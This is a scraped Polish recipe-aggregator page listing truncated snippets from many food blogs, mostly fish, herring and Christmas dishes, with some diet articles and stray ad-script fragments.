Kurczak zapiekany z pieczarkami / Baked Chicken and Mushrooms 80

schabu 100 % naturalnych składników Przyprawa do pikantnego kurczaka  100 % naturalnych składników, Przyprawa do żeberek 100 % naturalnych składników, Mieszanka ziół i przypraw, pieprz ziołowy 100 % naturalnych składników, Przyprawa do ryb 100 % naturalnych składników Przyprawa do mięs 100 % naturalnych składników Przyprawa do ziemniaków 100 % naturalnych składników Majeranek z krajów śródziemnomorskich, Chili z Indii, Papryka ostra z Hiszpanni, Goździki z Indonezji, Mieszanka(...)chodzi o przyprawy Knorr, prawda? Możecie ich użyć do najbardziej egzotycznych, oryginalnych i aromatycznych dań, ale sprawdzą się fantastycznie w tradycyjnych, klasycznych daniach kuchni polskiej. Są idealne do mięsa, ryby i warzyw. Wasze świąteczne i imprezowe dania w okresie karnawałowym nie mogą się bez nich obejść! Wszystkie te cudeńka spakowano w uroczą, świąteczną torbę na zakupy:) Do wypróbowania dołączono również

Lekcje w kuchni
Zupa miso 162

śniadanie). Sporządzana jest na bazie "dashi" z dodatkiem sfermentowanej pasty sojowej zwanej miso oraz wielu innych składników, zależnie od regionu i osobistych upodobań. Szczególnie często dodaje się tofu, ryby oraz wodorosty wakame. Paście miso poza walorami smakowymi przypisuje się szereg właściwości prozdrowotnych, a zupa ugotowana na jej bazie jest uznawana za jedną z najzdrowszych potraw świata. Według tradycji japońskiej(...)dodatkowe składniki zupy powinny odzwierciedlać aktualną porę roku, wykorzystuje się więc sezonowe warzywa i ryby. Jedyne czego nie możecie w tym przepisie zmienić to oczywiście pasta miso. Co do pozostałych składników panuje duża swoboda. Moja zupa miso obfituje w kolorowe warzywa, grzyby, makaron i inne orientalne dodatki.  Najważniejsza jest jednak pasta miso, warzywa możesz dodać takie na jakie masz

Bon Appetit Małgorzaty
Śledzik po grecku 141

Śledź po grecku podobnie jak tradycyjna ryba po grecku z Grecją niewiele ma wspólnego:). Zamiast ryby w cieście - śledź. Efekt przerósł moje oczekiwania:). Do warzyw dodajemy minimalną ilość soli - śledź ma jej w sobie wystarczająco dużo. 500g filetów śledziowych w oleju 3 cebule 3 marchewki  1 pietruszka 2 łyżki koncentratu pomidorowego  sól, pieprz, ziele angielskie, liść laurowy olej

Szefowa kuchni
Domowy hot dog 81

Domowy hot dog 2020-04-07 Podstawowe błędy początkującego kucharza – ranking najpopularniejszych 2020-04-06 Jakich produktów nie odgrzewać. Mogą być toksyczne! 2020-03-29 Jak sprawdzić świeżość ryby? Sprawdź parę rad a już nigdy nie kupisz nieświeżej ryby! 2020-03-26 Bułeczki cebulowe 2020-03-22 (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Domowy hot dog pochodzi z serwisu To musisz

To Musisz Wiedzieć
Podstawowe błędy początkującego kucharza – ranking najpopularniejszych 112

szklanki, dzięki czemu zawsze będziemy mieli odpowiednią ilość danego produktu. Smażenie kilku produktów na tej samej patelni Oczywiście trzeba w swoim życiu być oszczędnym, ale bez przesady. Jeżeli smażysz rybę na patelni to przed przystąpieniem do smażenie innego produktu najpierw ją dokładnie umyj. Zapachy zostają na przedmiotach w których je przyrządzamy. Chyba nie chcesz, żeby twoje warzywa smakowały rybą

To Musisz Wiedzieć
Przechowywanie żywności - rób to dobrze 128

trzymać tam specjalny pojemnik na jajka). Nie myj ich przed włożeniem do lodówki - skorupka jajek pokryta jest naturalną warstwą ochronną, która chroni przed wniknięciem drobnoustrojów do wnętrza. Mięso i ryby Są to produkty, które najszybciej tracą świeżość. Przechowuje je w lodówce - umyte i osuszone mięso trzymaj w zamkniętym pojemniku, żeby chronić przed nimi inne, surowe produkty. W taki sposób mięso(...)możesz przechowywać ok. 3 dni. Mięso mielone oraz ryby trzymaj w lodówce trochę krócej, ok. 2 dni. Dobrym rozwiązaniem jest oczywiście zamrożenie mięsa - w ten sposób możesz przechowywać je nawet kilka miesięcy. Dania gotowane, smażone i pieczone Przygotowane posiłki nie powinny pozostawać dłuższy czas w temperaturze pokojowej. Jeśli więc przygotowałaś obiad na 2-3 dni pamiętaj, aby schować

Z notatnika dietetyka
Catering dla święta - dlaczego warto? 102

kilka osób przy stole, to nie będzie wcale zbyt dużo. Na stronie cateringowy.com mogą Państwo wybierać spośród kilku rodzajów, np.: tradycyjna sałatka jarzynowa pieczarkowa  śledziowa jajeczna Kompozycja ryb wędzonych - na cateringowy.com możemy zamówić zestaw ryb wędzonych morskich i słodkowodnych. Wszystkie są bardzo dobrze przyprawione i dekoracyjne ułożone na talerzu. Będą kusić nie tylko smakiem, ale i propozycją podania

Jak u mamy
12 różnych farszy do jajek wielkanocnych 151

Przygotowałam przepisy na dwanaście różnych farszy do jajek. Jeden z nich jest zapiekany publikowany wiele lat temu, ale postanowiłam powtórzyć. Farsze są z soczewicą, kaszą jaglaną, brokułem rzodkiewką, z rybą, pieczarkami, chrzanem, serkiem wiejskim i wiele wiele innych równie smacznych. I. Farsz z czerwonej soczewicy ( świetna jako pasta do kanapek przy większej ilości) 100 gram czerwonej soczewicy 1 łyżka oleju(...)brokuła sól i pieprz papryczka chili trochę wędzonej makreli lub pstrąg łyżka soku z cytryny natka z pietruszki Brokuła gotujemy do miękkości.Rozgniatamy widelcem lub w rozdrabniaczu z rybą. Przekładamy do miski i dodajemy przesiekane w kostkę żółtka jaj, rozdrobione awokado. Doprawiamy przyprawami oraz sokiem z cytryny. Napełniamy jajka. Posypujemy drobno posiekaną natką. Farsz z tuńczykiem puszka tuńczyka w oliwie

AZgotuj!
Jajka faszerowane tuńczykiem z ogórkiem konserwowym 96

wartości odżywczych mają doskonałą proporcję tłuszczów nienasyconych w stosunku do nasyconych, jeżeli użyjemy tych z wolnego wybiegu, możemy być już spokojni, że jemy zdrowo i smacznie. O zaletach jedzenia ryb nie trzeba już nikomu wspominać, są doskonałym źródłem białka, tłuszczów O-mega, oraz witaminy D i B6. Połączyłam te dobroci w jednym daniu. Moje jajka faszerowane zawierają tylko 1 łyżkę(...)zalewy. ogórki bardzo drobno posiekać. Paprykę również posiekać. Jajka obrać, przekroić na połówki i wyjąc do miseczki żółtka. Żółtka rozgnieść za pomocą widelca. Do żółtek dodać 2/3 posiekanych ogórków, rybę, majonez, cebulkę, sól i pieprz. Wszystko dokładnie wymieszać. Białka napełniać powstałym farszem za pomocą rękawa cukierniczego lub po prostu nałożyć go łyżeczką. Faszerowane jajka ułożyć na półmisku i posypać pozostałymi

Krylowa Kuchnia
Sałatka z kiełbasą na krakersach 100

Bardzo efektowna sałatka, którą znałam w wersji z rybą z puszki. Jednak nie każdy lubi rybę i jej zapach. To zadecydowało , że postanowiłam zrobić tą sałatkę z kiełbasą. Muszę przyznać, że efekt mnie zaskoczył. Dobra kiełbasa z szynki Morliny idealnie komponuje się z pikantnym sosem, jajkami, ogórkiem kiszonym i słonymi krakersami. Sałatka jest idealna jeżeli chcemy zaskoczyć gości, jej forma

Krylowa Kuchnia
Smażony karp 79

cebule 2 liście laurowe 2 ziarenka pieprzu 2 ziarenka ziela angielskiego mąka do obtoczenia olej i masło do smażenia (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie Cebule obrać, pokroić w piórka. Oczyszczoną rybę dokładnie umyć, pokroić w dzwonka, a te przekroić na pół wzdłuż kręgosłupa. Włożyć je do miski, obtoczyć w cebuli, dodać liście laurowe, ziele angielskie, ziarenka pieprzu. Zostawić na całą(...)lodówce. Następnego dnia zdjąć cebulę i przyprawy, rybę osuszyć papierowym ręcznikiem, oprószyć z każdej strony solą i pieprzem. Obtoczyć w mące. Na patelni rozgrzać olej z masłem, kłaść karpia i obsmażyć go z każdej strony na złoty kolor. Tak przygotowanego karpia można od razu podać na stół lub przygotować go dzień wcześniej, a podczas Wigilii podgrzać w piekarniku w niskiej

niecodziennikpary
Dorsz pieczony z warzywami 79

Dorsz pieczony z warzywami to nasza propozycja na zdrowy obiad z rybą i warzywami. Przygotowuje się go dość szybko, nie trzeba stać długo przy kuchni, lecz włączyć na kilkanaście minut piekarnik, po czym wyjąć smaczny, kolorowy i aromatyczny posiłek. Przygotowanie dorsza z warzywami zawiniętego w folię aluminiową i papier do pieczenia daje nam możliwość wywinięcia brzegów na zewnątrz i stworzenia

niecodziennikpary
Sos tatarski 298

tatarski, najlepszy do jajek, mięs, ryb i na kanapki. Niezbędny na świątecznym stole, zarówno podczas Wielkanocy, kiedy podajemy go głównie do jajek, jak i w Święta Bożego Narodzenia, gdy smakuje najlepiej u boku wszelkiego rodzaju ryb i sałatek. Składniki: szklanka majonezu pół szklanki śmietany 18% pół szklanki grzybków marynowanych pół szklanki ogórków konserwowych pół większej cebuli spora garść świeżego szczypiorku

NiePieprz.pl
Składniki różnorodnych dań chińskich i japońskich 81

szanghajską charakteryzuje łagodny i słodki smak. Sosy, które są tam dodawane do potraw, zazwyczaj mają słodko-kwaśny posmak. Ze względu na dostęp do morza, często są to dania zawierające ryby. Z kolei najbardziej znana potrawa tego regionu świata, popularna nie tylko w Chinach, ale również na całym świecie, to kaczka po pekińsku. Jest to tradycyjne danie, które zachwyciło swoim smakiem(...)Kuchnia japońska Kuchnia japońska również cechuje się różnorodnością smaków i świeżymi składnikami, które bogate są w mikroelementy, witaminy i kwasy omega-3. Wyróżnia się dużą ilością owoców morza i ryb, które często podawane są na surowo. Jeśli zdecydujesz się przyrządzać je w domu, będziesz musiał zaopatrzyć się w odpowiednie dodatki czy specjalny gatunek ryżu. Znajdziesz je na stronie: Jednymi

FoodMagazine.pl - Przepisy kulinarne
Wegański paprykarz szczeciński 110

Wegański paprykarz szczeciński Była już pasta bezrybna z wegańskim twarogiem , a teraz czas na kolejną bardzo popularną w Polsce pastę, tradycyjnie występującą z rybą, czyli wegański paprykarz szczeciński. Dla mnie pierwsze skojarzenie jakie z nim mam to brzydka puszka, z której po otworzeniu wyłaniała się ryżowo-rybna pasta do smarowania na chlebie. Nie powiem, żeby mi to nie smakowało. Dawniej(...)wykonaniu, jest dość mocno rybny, co moim zdaniem jest ogromnym plusem tej pasty. Wszystkożerni znajomi byli zachwyceni i zarazem zdumieni zapachem i smakiem. Wegański paprykarz szczeciński… skąd smak ryby? Smak rybny jak zwykle powstaje za sprawą użycia w paście nori oraz oleju lnianego. Jest to moim zdaniem niezbędne, aby smak był pełny i jak najbardziej zbliżony do pierwowzoru

Blendman
Dieta wspierająca układ odpornościowy 108

butelkowaną), 4 kg roślin strączkowych i warzyw, 2,5 kg owoców i orzechów, 2,6 kg produktów mlecznych lub nabiału roślinnego, 0,4 kg masła lub oleju, 5 kg ryb i jajek. Do tego przysłowiowy ryż, makaron i papier toaletowy. Oczywiście wody w kranie raczej nie zabraknie a pewnie część rzeczy i tak mamy w domu. Warto zaplanować zakupy(...)dużo gorących herbatek, odpoczywać i wysypiać się. Fast food, konserwy i wysoko przetworzona żywność, to też nienajlepszy pomysł. Warto też zminimalizować spożywanie nabiału a mięso i ryby mieć z hodowli ekologicznych. Możemy rozważyć bycie na diecie antygrzybiczej. A co na pewno nam dobrze zrobi? Kasze, ryż i zboża bezglutenowe np. płatki owsiane czy quinoa. Makaron proteinowe np. z zielonego groszku

Ugotowane pozamiatane
Sos cebulkowy zimny 94

cebulkowy zimny z książki Jak gotować Marii Disslowej z okresu dwudziestolecia międzywojennego. Proponuję podawać go do zimnych pieczonych mięs , wędlin lub do ryby. 6 – 8 szalotek, 50 g musztardy francuskiej, 50 g oliwy*, sok z 1 cytryny, szczypta pieprzu, sól, Obrane szalotki drobno posiekać. Do miski włożyć musztardę, mieszając łyżką wlewać oliwę. Gdy połączy się oliwa z musztardą wlać(...)cytryny. Dodać posiekaną szalotkę, doprawić do smaku solą i pieprzem. Gdyby sos był za gęsty, można dodać kilka łyżek lekkiego rosołu z kury lub ryb. * W przepisie użyta została oliwa, jeżeli ktoś nie lubi może dodać olej, oczywiście najlepiej tłoczony na zimno. Ja polecam oliwę Picual Oro Bailen najlepszą oliwę świata według przewodnika EVOOLEUM. Oliwa Picual Oro Bailen Picual

królestwo garów
Szybka surówka z białej rzodkwi i marchewki, Idealna do mięs i ryb 94

Dzień dobry :)  Dzisiaj mam dla Was propozycję szybkiej i pysznej surówki z marchewki, białej rzodkwi i jajka. Idealny dodatek do mięs i ryb.   Składniki: 2 duże marchewki 2 średnie białe rzodkwie 1 cebula 2 jajka ugotowane na twardo sól, pieprz, szczypta chili do smaku 1 łyżeczka płaska przyprawy maggi 2 łyżki majonezu lub według uznania Wykonanie: Warzywa obieramy(...)tarce.   Przyprawiamy do smaku solą, pieprzem, szczyptą chili i magą. Dodajemy majonez i jeszcze raz wszystko mieszamy. Odstawiamy na kilka minut do przegryzienia smaków. Idealna do mięs, ryb, ryżu, kasz. Smacznego

Sama słodycz i szczypta chili
Pasta do kanapek z makreli i twarogu 121

chudego 1 wędzona makrela 4 łyżki jogurtu (raczej takiego gęstszego) Sól, pieprz i dowolnie zioła Przygotowanie : Makrele dokładnie obieramy, usuwamy rękami wszystkie ości, robimy to bardzo uważnie. Ręce po rybie najpierw myjemy w zimnej wodzie, następnie w ciepłej z płynem do naczyń/mydłem. W pojemniku/misce kruszymy twaróg. Dodajemy makrelę oraz jogurt. Zioła siekamy. Dodajemy sól i pieprz. Mieszamy. Ewentualnie

Czarnawisienka
Marchewka z groszkiem 101

Marchewkę z groszkiem zna chyba każdy – w naszym kraju to klasyk Smaczna i zdrowa – zwykle bywa podawana jako dodatek do mięs, ryb i dań obiadowych. Wiem, że niektórzy zaprawiają marchewkę zasmażką. Ja jednak zwykle zagęszczam wodą wymieszaną z mąką pszenną według przepisu poniżej. A jeśli na obiedzie spodziewam się osoby z alergią pokarmową na gluten, zamieniam mąkę pszenną(...)minutach zdejmij z ognia i podawaj.   Jeśli używasz świeżego groszku, ugotuj go razem z marchewką. Danie nadaje się do mrożenia.     Na obiad polecam… Rybę w kukurydzianej panierce Zapiekankę z cukinią Kalafiorowy MÓZG Gniazdka z mięsa mielonego Ziemniaki faszerowane mięsem

Kulinarne S.O.S.
Marchewka z groszkiem 101

Marchewkę z groszkiem zna chyba każdy – w naszym kraju to klasyk Smaczna i zdrowa – zwykle bywa podawana jako dodatek do mięs, ryb i dań obiadowych. Wiem, że niektórzy zaprawiają marchewkę zasmażką. Ja jednak zwykle zagęszczam wodą wymieszaną z mąką pszenną według przepisu poniżej. A jeśli na obiedzie spodziewam się osoby z alergią pokarmową na gluten, zamieniam mąkę pszenną(...)minutach zdejmij z ognia i podawaj.   Jeśli używasz świeżego groszku, ugotuj go razem z marchewką. Danie nadaje się do mrożenia.     Na obiad polecam… Rybę w kukurydzianej panierce Zapiekankę z cukinią Kalafiorowy MÓZG Gniazdka z mięsa mielonego Ziemniaki faszerowane mięsem

Kulinarny S.O.S.
Sałatka Caprese 110

pieczywo czosnkowe, grzanki) , ale niedawno na wyjeździe podano mi Caprese z plastrem mięsnej pieczeni. To pomysł całkiem niezły – sałatka jest lekka i świetnie nadaje się jako dodatek do ryby, pieczonego mięsa lub piersi kurczaka.   Polecam również… ** Sałatkę brokułową z papryką ** Przekąskę z jajkiem ** Sałatkę z makaronem i tuńczykiem ** Sałatkę z brokułami i szynką   Składniki na sałatkę(...)talerzu, pionowo w wieżyczkę lub w ponacinanym pomidorze.     Polecam… Mini tortille z papryką i ogórkiem Pastę z paluszkami krabowymi Domowe pieczywo czosnkowe Pieczarki z pesto Rybę po grecku

Kulinarny S.O.S.
Sałatka Caprese 110

pieczywo czosnkowe, grzanki) , ale niedawno na wyjeździe podano mi Caprese z plastrem mięsnej pieczeni. To pomysł całkiem niezły – sałatka jest lekka i świetnie nadaje się jako dodatek do ryby, pieczonego mięsa lub piersi kurczaka.   Polecam również… ** Sałatkę brokułową z papryką ** Przekąskę z jajkiem ** Sałatkę z makaronem i tuńczykiem ** Sałatkę z brokułami i szynką   Składniki na sałatkę(...)talerzu, pionowo w wieżyczkę lub w ponacinanym pomidorze.     Polecam… Mini tortille z papryką i ogórkiem Pastę z paluszkami krabowymi Domowe pieczywo czosnkowe Pieczarki z pesto Rybę po grecku

Kulinarne S.O.S.
Pasta z makreli i jajek 189

adsbygoogle = window.adsbygoogle || []).push({}); Pasta z makreli i jajek zaraz po paście jajecznej moja ulubiona pasta śniadaniowa. Nie jemy w domu za dużo ryb, bo mąż za nimi nie przepada, jest typowym mięsożercom. Dlatego dla mnie wędzona makrela jest świetnym sposobem na przemycenie ryb w posiłkach, ponieważ akurat za tym przepisem przepada i często go robimy na weekendowe śniadania. Pasta

To Musisz Wiedzieć
Jak przyspieszyć metabolizm 129

Przyjmuje się, że jest to średnio dwa litry.  (adsbygoogle = window.adsbygoogle || []).push({}); ODPOWIEDNIA ILOŚĆ BIAŁKA W DIECIE  Zawsze ludzie się mnie pytają i dziwą, dlaczego jem tyle mięsa, ryb, twarogu i jajek. Odpowiedź jest bardzo prosta - między innymi dla zwiększenia metabolizmu. Organizm musi się trochę napracować, aby wydobyć energię z pożywienia, a w szczególności białka, które kosztuje go nawet(...)ekstremalnie aktywne metabolicznie . Żaden inny składnik odżywczy nie ma aż takiego wpływu na nasz metabolizm. WITAMINY Witaminy z grupy B - dostępne w produktach zbożowych, drożdżach, wołowinie, rybach, nabiale, orzechach (już wiecie, dlaczego wcześniej pisałam o białku). Wpływa ona również na prawidłowe funkcjonowanie tarczycy, która będąc w złym stanie potrafi zrujnować metabolizm.  Kolejna przydatna jest witamina D - odpowiedzialna

zdrowo i aktywnie
Jak przyspieszyć metabolizm 513

Przyjmuje się, że jest to średnio dwa litry.  (adsbygoogle = window.adsbygoogle || []).push({}); ODPOWIEDNIA ILOŚĆ BIAŁKA W DIECIE  Zawsze ludzie się mnie pytają i dziwą, dlaczego jem tyle mięsa, ryb, twarogu i jajek. Odpowiedź jest bardzo prosta - między innymi dla zwiększenia metabolizmu. Organizm musi się trochę napracować, aby wydobyć energię z pożywienia, a w szczególności białka, które kosztuje go nawet(...)ekstremalnie aktywne metabolicznie . Żaden inny składnik odżywczy nie ma aż takiego wpływu na nasz metabolizm. WITAMINY Witaminy z grupy B - dostępne w produktach zbożowych, drożdżach, wołowinie, rybach, nabiale, orzechach (już wiecie, dlaczego wcześniej pisałam o białku). Wpływa ona również na prawidłowe funkcjonowanie tarczycy, która będąc w złym stanie potrafi zrujnować metabolizm.  Kolejna przydatna jest witamina D - odpowiedzialna

Zdrowie i pysznie na talerzu
Insulinooporność - z czym to się je? 129

tłuszczowe wykazują korzystny wpływ na poprawę wrażliwości komórek na insulinę. Warto więc zadbać o to, by przynajmniej 2 razy w tygodniu na naszym stole pojawiały się dania z tłustych ryb. Osoby, które z jakichś powodów nie mogą jeść ryb powinny rozważyć ewentualną suplementację tych kwasów; fruktoza - warto ograniczać ten cukier w diecie, zwłaszcza jeśli pochodzi z soków, napojów i produktów

Z notatnika dietetyka
Jeśli nie mięso, to co? 104

należący do rodziny morwowatych, stosunkowo mało popularny w Polsce, choć na świcie doceniany. Wykorzystywany jest w celu zastąpienia mięsa drobiu, wieprzowiny i wołowiny, a także ryb.                                  Grzyby(...)celiakię lub nietolerancję glutenu – stąd jego japońska nazwa guruten-mito , mięso glutenowe.  Tempeh Jest to indonezyjski produkt fermentowany powstający na bazie ziaren soi. Najczęściej służy jako zamiennik ryb, gdyż jest bardzo podobny do ich mięsa pod względem faktury. Charakteryzuje się wysoką zawartością białka, witamin z grupy B oraz żelaza. Tofu Jest to serek sojowy powstający podczas procesu koagulacji

Z notatnika dietetyka
Ryż z krewetkami 122

Polsce coraz bardziej popularne. Coraz częściej goszczą one na naszych stołach, już nie tylko jako swego rodzaju ciekawostka czy egzotyczne danie, ale jako normalna część posiłku, np. zamiast ryby. Nadal jednak sporo osób boi się wprowadzić do swojego menu owoce morza, najczęściej z powodu obawy przed specyficznym, obcym smakiem. Ja chcę Was przekonać, że owocom morza naprawdę warto dać szansę(...)się zmieni po przygotowaniu 😉 Krewetki to morskie i słodkowodne skorupiaki. Są one źródłem pełnowartościowego i łatwostrawnego białka. Mogą więc bez problemu zastąpić w posiłku mięso czy rybę. Te morskie stworzonka są także dobrym źródłem witamin z grupy B. Krewetki możemy traktować jako zdrową przekąskę, ale także jako element posiłku. Możemy je smażyć, dusić, grillować i piec, a następnie dodać

Z notatnika dietetyka
Zupa rybna 180

flądry, garnek przykrywamy przykrywką i gotujemy około 20 minut, tak aby warzywa były miękkie. Przed podaniem zupę posypujemy poszatkowaną natką pietruszki. Zupa najlepiej smakuje na  drugi dzień, gdy ryba "przejdzie" aromatem warzyw i przypraw

Qchnia po prostu
Słowacka sałatka ziemniaczana z jajkami 116

Słowacka sałatka ziemniaczana z jajkami w zalewie słodko-kwaśnej Kuchnia słowacka nie jest zbyt popularna w naszym kraju, a szkoda. Chociaż jest dość ciężka i tłusta

Korniszonki
Kasza bulgur jako samodzielne danie lub dodatek do miesa lub ryby 91

Dzień dobry :) Lubicie kasze?mam dzisiaj propozycję przepysznej kaszy bulgur z masełkiem, cebulką i selerem naciowym.  Idealna jako samodzielne danie lub dodatek do mięs lub ryb.  Prosta i szybka w wykonaniu o delikatnym maślanym smaku.  Zapraszam :) Składniki: 2 woreczki ugotowanej kaszy bulgur 2 z brzuszkiem łyżki masła 1 cebula 2 łodygi selera nacioweg sól, pieprz do smaku(...)Cebulę kroimy w kosteczkę, następnie delikatnie szklimy na maśle. Dodajemy do ugotowanej kaszy, seler kroimy w pół plasterki, przyprawiamy do smaku solą i pieprzem. Podajemy na ciepło z mięsem, rybą lub po prosu samą. Taką kaszę mogę jeść na okrągło. Życzę smacznego

Sama słodycz i szczypta chili
10 najlepszych zdrowych diet odchudzających 98

długowieczności. Dieta obejmuje żywność bogatą w owoce i warzywa, zwłaszcza cytrusy, orzechy, produkty pełnoziarniste, rośliny strączkowe i oliwę z oliwek. Zawiera również chude źródła białka – ryby i drób zamiast czerwonego mięsa. Plan diety śródziemnomorskiej zaleca regularne spożywanie czerwonego wina w umiarkowanych ilościach. 3. Dieta fleksitarna Ta kombinacja dwóch słów – elastyczny i wegetariański – podkreśla(...)Połączenie dwóch diet z kilkoma korzyściami zdrowotnymi, Dash i Mediterranean, stało się bardzo popularne. Lista zalecanych produktów spożywczych obejmuje zielone warzywa liściaste, orzechy, jagody, fasolę, produkty pełnoziarniste, ryby, drób, oliwę z oliwek i wino. Dietetycy proszą o unikanie czerwonych mięs, masła i kija margaryny, sera, słodyczy oraz smażonych lub fast foodów. 6. Terapeutyczne zmiany stylu życia (TLC) Dieta

jakszef.pl
Leniwe pierogi, czyli kluski dla leniwych z białym serem 145

Pierogi leniwe , pyszne kluski z twarogiem Leniwe pierogi , leniwe kluski lub po prostu leniwe to klasyka polskiej kuchni. Delikatne kluseczki z twarogu i mąki można przygotować

Korniszonki
Smażony karp w zalewie octowej 62

ilość ości jakoś nie poszły tak szybko jak pozostałe jego części. Wymyśliłam sobie, że w końcu zrobię go w zalewie. Rzecz banalna w wykonaniu. Coś akurat dla smakoszy ryb. Jak smażę karpia zazwyczaj obtaczam go w mące i jajku. Teraz też zrobiłam tak samo. Niektórzy używają tylko samej mąki, dlaczego nie. W sumie to rzecz smaku w tym przypadku(...)Karp przeszedł pięknie smakiem zalewy. Ta porcja zalewy wystarczyła mi na 1 słoik 0,9 l i 1 słoik 0,5 l. Taką przekąskę można przygotować z każdego rodzaju ryby. Ważne by była to tuszka, oczywiście świeża ewentualnie mrożona. Smacznego! Lidka Artykuł Smażony karp w zalewie octowej pochodzi z serwisu Pieprzyć z fantazją

Pieprzyć z Fantazją
Wigilijna kapusta z grzybami 133

Wigilijna kapusta z grzybami Wigilijna kapusta z grzybami to moje ulubione świąteczne danie. Wspaniale smakuje nie tylko podczas wigilijnej wieczerzy ale także w pierwszy i drugi

Korniszonki
Sałatka z makrelą i łazankami 109

obierz i pokrój w drobną kosteczkę. Pora umyj i pokrój dość drobno. Koperek umyj, osusz na ściereczce i posiekaj. Wymieszaj w miseczce oliwę z solą i pieprzem. Obierz starannie rybę – ważne jest, żeby palcami sprawdzać, czy nie kryją się w niej ości. Wymieszaj delikatnie makaron z kawałkami ryby, cebulą, porem, koperkiem i oliwą. Składniki 1 wędzona makrela pęczek koperku

Eat me! Fit me!
Fish & chips z kombiwaru - ryba z pieczonymi ziemniakami 101

napisze oddzielny post a dziś z jego wykorzystaniem słynny amerykański fish & chips w moim wydaniu. Zapraszam na przepyszny obiad. Można go oczywiście zrobić w piekarniku, też będzie super. Ryba z pieczonymi ziemniakami. CZYTAJ DALEJ

Moje Małe Czarowanie
Kotleciki z suszonych grzybów 132

Kotleciki grzybowe z suszonych prawdziwków Kotleciki z suszonych grzybów oraz panierowane kapelusze prawdziwków robiła moja św. pamięci Babcia. Na wiele lat grzybowe kotleciki zniknęły z naszego

Korniszonki
Staropolski piernik dojrzewający z orzechami, skórką pomarańczową i rodzynkami 109

Piernik staropolski z orzechami, rodzynkami i skórką pomarańczową Prawdziwy piernik staropolski dojrzewa dwa razy - pierwszy raz po zarobieniu ciasta, drugi raz po upieczeniu. Ten piernik , pełen

Korniszonki
Pierniczki z okienkiem witrażowym na Boże Narodzenie 180

Pierniki z witrażem z landrynek Pierniczki z okienkiem wypełnionym witrażem z landrynek to piękna i pyszna ozdoba świąteczna. Ich wykonanie jest banalnie proste, a efekt końcowy

Korniszonki
Ryba po japońsku 2187

Nieziemski przepis! Ryba po japońsku to danie, które musisz zrobić. Prosta do zrobienia, niezwykle pyszna oraz super uniwersalna. Zrobisz ją wyłącznie ze składników, które z łatwością kupisz w każdym sklepie. - super pomysł na rybę na Święta - niesamowity smak z kilku składników - można ją podać zarówno na ciepło, jak i na zimno

AniaGotuje.pl
Karp w śmietanie czosnkowej 85

kapusty pekińskiej. Ten zestaw polecam, to jest pyszne:) Składniki 700 g filetów z karpia 1 szt cebula, posiekana 1 szt czosnek, posiekany 300 ml kremówki sól, pieprz, przyprawa do ryb olej kilka łyżek mąki pszennej Karpia myjemy, kroimy na mniejsze kawałki. Posypujemy z dwóch stron solą, pieprzem, przyprawą do ryb. Zakrywamy folią i odstawiamy na min 30 minut do lodówki

gotuj ze mną
Kruche ciastka z pieczątką 190

Kruche ciastka z pieczątką Ciastka z pieczątką lub ciastka ze stempelkiem są uroczym i pysznym dopełnieniem nie tylko świątecznych posiłków. Ich przygotowanie to czysta przyjemność, szczególnie

Korniszonki
Dorsz z ryżem i warzywami 83

szczypior, wsypać ryż, podsmażyć mieszając. Włożyć plastry marchewki, groszek, przyprawić solą, pieprzem, curry i zalać bulionem. Gotować pod przykryciem na małym ogniu około 15 minut. Na ryżu ułożyć kawałki ryby, dusić pod przykryciem jeszcze 10 minut. Gotowe danie posypać koperkiem i słodką papryką. Jeśli wolisz rybę z chrupiącą skórką to oprósz kawałki dorsza mąką i usmaż z obu stron

Danka Pichci
Śledzie w śmietanie 98

Śledź to ryba nie dość, że pyszna to i zdrowa, chociaż nie wszyscy przepadają za ich smakiem. Lecz jeśli zdarzą się jej ulubieńcy to każdy nich ma swoje ulubione pomysły na przygotowanie tej ryby. U mnie jednym z nich są śledzie w śmietanie. Przepis ten jest prosty i szybki. Ja serwuję to danie często na piątkowy obiad z dodatkiem ziemniaków

Danka Pichci
Śledzie po kaszubsku 2310

Śledzie to obok karpia najpopularniejsze ryby, których nie może zabraknąć w okresie świąt Bożego Narodzenia. Mój mąż uwielbia te ryby i dlatego przyrządzam je czasami bez okazji. Dzisiaj był taki dzień. Takie śledzie robiłam pierwszy raz, aby wypróbować przepis przed świętami i na pewno pojawią się one u mnie na stole wigilijnym Polecam również  śledzie w miodzie

Danka Pichci
Pierniczki z mąki żytniej. Przedwojenny przepis na fit pierniki! 201

Pierniczki z mąki żytniej . Przedwojenny przepis na żytnie pierniki bez tłuszczu, jajek i cukru Dziś polecam przedwojenny przepis na fit pierniczki z mąki żytniej . Po pierwsze

Korniszonki
10 książek na prezent 122

kuchni, jak i te mniej znane a równie pyszne pomysły. Idealny prezent dla wielbiciela Włoch i makaronów. Z takich ciekawostek – w książce znajdziecie dział poświęcony daniom bez glutenu, laktozy, ryb i mięsa. 3. „Ambasada Śledzia” Marta Sawicka -Danielak, Filip Danielak W Krakowie, na ulicy Stolarskiej 8/10 jest miejsce, które śledziem stoi, gdzie podają wszystko z tym królem imienin i innych(...)imprez. To tam właśnie powstała książka o śledziu. Książka cudna, zawierająca sporo słowa pisanego, wiedzy, pięknych zdjęć, aromatycznych przepisów. W życiu nie przypuszczałam, że książka o pospolitej rybie może być tak fajnie zrobiona. 4. „Żydzi od kuchni. Opowieści wokół rodzinnego stołu” Hanna Merlak Jeśli coś ma w sobie przepis na Bubelaki, to jest z gruntu dobre. W środku tej wzruszającej

ladykitchen
Domowa skórka pomarańczowa 146

Kandyzowana skórka pomarańczowa smażona w cukrze Skórka pomarańczowa do klasyczny dodatek do wielu tradycyjnych wypieków - serników, pączków, mazurków, babek drożdżowych lub keksów. Dzisiaj kandyzowana skórka pomarańczowa

Korniszonki
Wigilijna kapusta z grzybami 109

przegryzą i bardziej zyska na smaku. Jeśli po Wigilii zostanie Ci nadmiar kapustki, możesz ją śmiało zamrozić i zjeść w innym dniu   Polecam też… ** Barszcz czerwony czysty ** Rybę w zalewie pomidorowo-octowej ** Rybę w sosie ananasowo-keczupowym   Składniki: 1 kg kiszonej kapusty 100 g suszonych leśnych grzybów np. borowiki, podgrzybki, kozaki 1 cebula 2 liście laurowe

Kulinarny S.O.S.
Wigilijna kapusta z grzybami 109

